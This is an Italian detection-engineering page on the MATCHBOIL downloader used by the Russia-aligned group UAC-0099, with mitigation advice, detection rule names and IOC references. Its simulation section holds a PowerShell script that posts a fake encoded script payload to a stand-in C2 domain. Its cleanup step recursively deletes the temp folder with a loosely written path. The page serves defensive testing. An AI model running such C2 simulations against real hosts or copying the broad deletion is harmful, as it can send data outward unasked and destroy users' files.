La campagna malware MATCHBOIL introduce nuove tecniche per attacchi persistenti
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
UAC-0099, un gruppo APT allineato con la Russia, ha evoluto significativamente il proprio downloader MATCHBOIL in C# tra il 2024 e il 2026. Il malware viene utilizzato per scaricare, distribuire e mantenere la persistenza per payload secondari come il backdoor MATCHWOK. Le varianti più recenti incorporano un’offuscamento più forte con .NET Reactor, tecniche di evasione dalla sandbox e metodi di comunicazione C2 sempre più sofisticati.
Indagine
I ricercatori di ESET hanno condotto un’analisi cronologica delle varianti di MATCHBOIL identificate attraverso telemetria e submission su VirusTotal. L’indagine ha documentato la progressione del malware da un’offuscamento Unicode di base a una virtualizzazione del codice avanzata e inganni della GUI. I ricercatori hanno anche decompilato componenti in C# per esaminare le query WMI, la logica di comunicazione HTTPS e le tecniche di persistenza.
Mitigazione
Le organizzazioni dovrebbero monitorare l’esecuzione sospetta di C# e cambiamenti inaspettati di attività pianificate o del registro nelle directory del profilo utente. Il rilevamento degli endpoint dovrebbe identificare query WMI non autorizzate e traffico HTTPS in uscita insolito verso domini precedentemente non caratterizzati. I team di sicurezza dovrebbero inoltre osservare nomi di file noti come malevoli e argomenti sospetti della riga di comando come -auto or -plans.
Risposta
Quando viene rilevata un’attività di MATCHBOIL, isolare gli host interessati per prevenire ulteriori consegne di payload e la comunicazione C2. Eseguire un’approfondita indagine forense per determinare il vettore iniziale d’infezione, probabilmente spearphishing. Revisare le chiavi Run del registro e le attività pianificate per voci non autorizzate e controllare i sistemi compromessi per payload secondari come MATCHWOK.
Flusso di attacco
Stiamo ancora aggiornando questa parte.
Rilevamenti
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (via registry_event)
LOLBAS WScript / CScript (via process_creation)
Possibile Libreria di Windows Creata in Cartella Insolita (via file_event)
Attività Pianificata Sospetta (via audit)
IOC (HashSha1) da rilevare: ESET Research MATCHBOIL: Nuovi trucchi, stesse vecchie cattive intenzioni
IOC (SourceIP) da rilevare: ESET Research MATCHBOIL: Nuovi trucchi, stesse vecchie cattive intenzioni
IOC (DestinationIP) da rilevare: ESET Research MATCHBOIL: Nuovi trucchi, stesse vecchie cattive intenzioni
Raccolta informazioni di sistema UAC‑0099 WMI [Microsoft Windows Security Event Log]
Rilevamento della Comunicazione di Comando e Controllo MATCHBOIL UAC-0099 [Connessione di Rete Windows]
Esecuzione della Simulazione
-
Narrativa e Comandi dell’Attacco: L’avversario cerca di stabilire un canale di Comando e Controllo (C2) per ricevere istruzioni e scaricare moduli aggiuntivi. Per evitare il blocco semplice basato su IP, l’attaccante utilizza un dominio registrato sotto un TLD comune (
.pro). L’attaccante simula la tecnica “MATCHBOIL” inviando una richiesta HTTPS in cui il payload contiene un<script>blocco, imitando la consegna di istruzioni dannose codificate in esadecimale travestite da contenuto web. Questo è destinato a innescare sia la condizione basata sul dominio sia quella basata sul payload della regola di rilevamento. -
Script per Test di Regressione:
# Simulazione della Comunicazione C2 di MATCHBOIL # Questo script esegue una richiesta HTTPS a un dominio .pro contenente un tag script nel payload/corpo. $targetUrl = "https://test-matchboil-c2.pro/api/v1/update" $maliciousPayload = "<script>eval(hex_decode('414243'))</script>" try { Write-Host "[+] Tentativo di comunicazione C2 verso $targetUrl" -ForegroundColor Cyan Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream" } catch { Write-Host "[!] Richiesta completata (Fallimento previsto se il dominio non esiste, ma la telemetria dovrebbe comunque essere catturata)" -ForegroundColor Yellow } -
Comandi di Pulizia:
# Nessuna modifica persistente effettuata dallo script. # Assicurarsi solo che i file temporanei locali creati durante il test siano rimossi. Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue